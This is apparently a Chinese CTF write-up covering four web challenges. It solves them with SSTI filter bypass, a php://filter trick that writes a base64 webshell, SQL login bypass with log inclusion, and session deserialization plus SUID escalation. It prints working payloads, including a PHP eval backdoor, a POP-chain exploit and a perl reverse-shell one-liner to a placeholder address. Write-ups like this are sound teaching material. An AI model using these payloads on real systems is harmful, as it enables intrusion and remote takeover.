The_myth_of_Aladdin
考點:SSTI、個別字符過濾、命令過濾
這題感覺是安洵杯2020那題SSTI的簡化版,這里過濾的東西不是特別多,主要是過濾了空格卡了好久(沒發現,嗚嗚嗚)。這里過濾了{{
可以使用{%print%}
替代、.
可以使用[]
替換、_
可以使用Unicode編碼
替換,但是好像還過濾一些命令,這里我是用base64 /f*
的方式。背景的小姐姐很好看,愛了愛了!
upload_club
考點:php://filter協議文件包含、df繞過
感覺這里是我做出來的幾題中最好的,這里先講一下思路:上傳一個一句話木馬的文件,然后包含它即可。
接着說一下遇到的幾個考點:
1.這里利用了file_get_contents('php://input')
方式獲取了POST的所有內容,然后去匹配,如果存在25則結束,但是這里有個缺陷,如果POST上傳的形式不是application/x-www-form-urlencoded
而是multipart/form-data
則獲取不到POST請求參數可以繞過這里。
2.這里有個neepu_sec.club
POST請求的參數如果直接寫的話是不行,不過可以寫腳本簡單遍歷一下
import requests
url = "http://127.0.0.1/ceshi/a.php"
for i in range(32,128):
for j in range(32,128):
data = {
'neepu'+chr(i)+'sec'+chr(j)+'club':123
}
res = requests.post(url=url,data=data)
if "neepu_sec.club" in res.text:
print 'neepu'+chr(i)+'sec'+chr(j)+'club'
exit(0)
#PHP代碼:<?var_dump($_POST);?>
3.其實這步就簡單了,因為我們已經繞過了第1點的限制了,所以這里變的很簡單,可以直接使用編碼繞過base64
、string
,使用php偽協議php://filter
,但是需要寫入文件,這里我利用的過濾器是string.strip_tags|convert.base64-decode
,最后resource
配置為?>PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt
,這里使用?>
閉合前面的php代碼,則他們都會被string.strip_tags
過濾器刪除,接着base64
過濾器將剩下的字符進行解碼,則獲得一句話木馬
4.這里看似不能用<?
和php
,但是如果文件是以<?
開頭則可以繞過,而不能用php
的話,使用短標簽<?=?>
即可
好像就沒啥可以說的,接下來是詳細步驟
先上傳了一句話木馬
然后去包含它,執行phpinfo()
時發現過濾好多函數,看來是要繞過df了
這里利用了之前朋友給的一個繞php7的df文件,將它通過file_put_contents
函數寫入。
訪問根目錄下,有個getflag的文件,執行就獲得flag
gamebox
考點:SQL萬能密碼、日志包含Getshell
上來是一個登陸框(只有username),猜測后台的SQL語句為select * from user where username = '$username'
,這里ban了好多字符,如or
、||
、#
、--
等等,這里把可以通過1'=1='0
登陸上去
接着就是猜正反了,emmm這個我真沒啥想法,純靠硬猜就過了,原本以為就給flag了,可惜沒有。不過看到了URL就感覺是文件包含了,這里連想到了日志包含
先判斷好日志的位置
接着上傳一句話木馬
接着測試一下一句話木馬是否可用
最后通過蟻劍拿到flag
serialize_club
考點:任意文件讀取、session反序列化、Linux下的SUID提權
是一個站點,頁面上沒有看到什么有用的信息,於是看了一下源代碼。又是一個文件包含的漏洞,嘗試讀index.php
文件源碼。
這里發現代碼做了base64編碼,解碼一下就可以了
在源碼中看到了這個,知道是session反序列化漏洞
構造一下POP鏈,代碼如下
<?php
error_reporting(0);
class backdoor {
protected
//! eval code
$cmd = 'eval($_POST[1]);?>';
}
class neepu {
protected
//! Neepu
$neepu,
//! Memory-held data
$data,
//! Info
$info;
public function setneepu($a){
$this->neepu = $a;
}
public function setinfo($a){
$this->info['info'] = $a;
}
}
class n33pu {
public
//! Neepu func
$func;
}
class dumb {
public
//! dumb
$dumb;
}
$back = new backdoor();
$n33 = new n33pu();
$n33->func = $back;
$neepu1 = new neepu();
$neepu1->setinfo($n33);
$neepu2 = new neepu();
$neepu2->setneepu($neepu1);
$dump = new dumb();
$dump->dumb = $neepu2;
var_dump(str_replace("s","S",str_replace("\x00","\\00",serialize($dump))));
接着把序列化的字符串上傳了,這里可能會失敗,多發一些包,然后多嘗試幾次就可以了
連上靶機后,這里想反彈shell的,但是一般的bash
、python
、php
都失敗了,嗚嗚嗚。
最后在網上找了一個perl反彈shell的腳本
perl -e 'use Socket;$i="xx.xx.xx.xx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
接着這里用了find
命令查看一下可能存在SUID
權限的命令,發現xxd
是可以的,然后是通過取巧的方式,因為問了管理員flag的位置,他跟我說在/root
下,所以這里直接用去看了flag。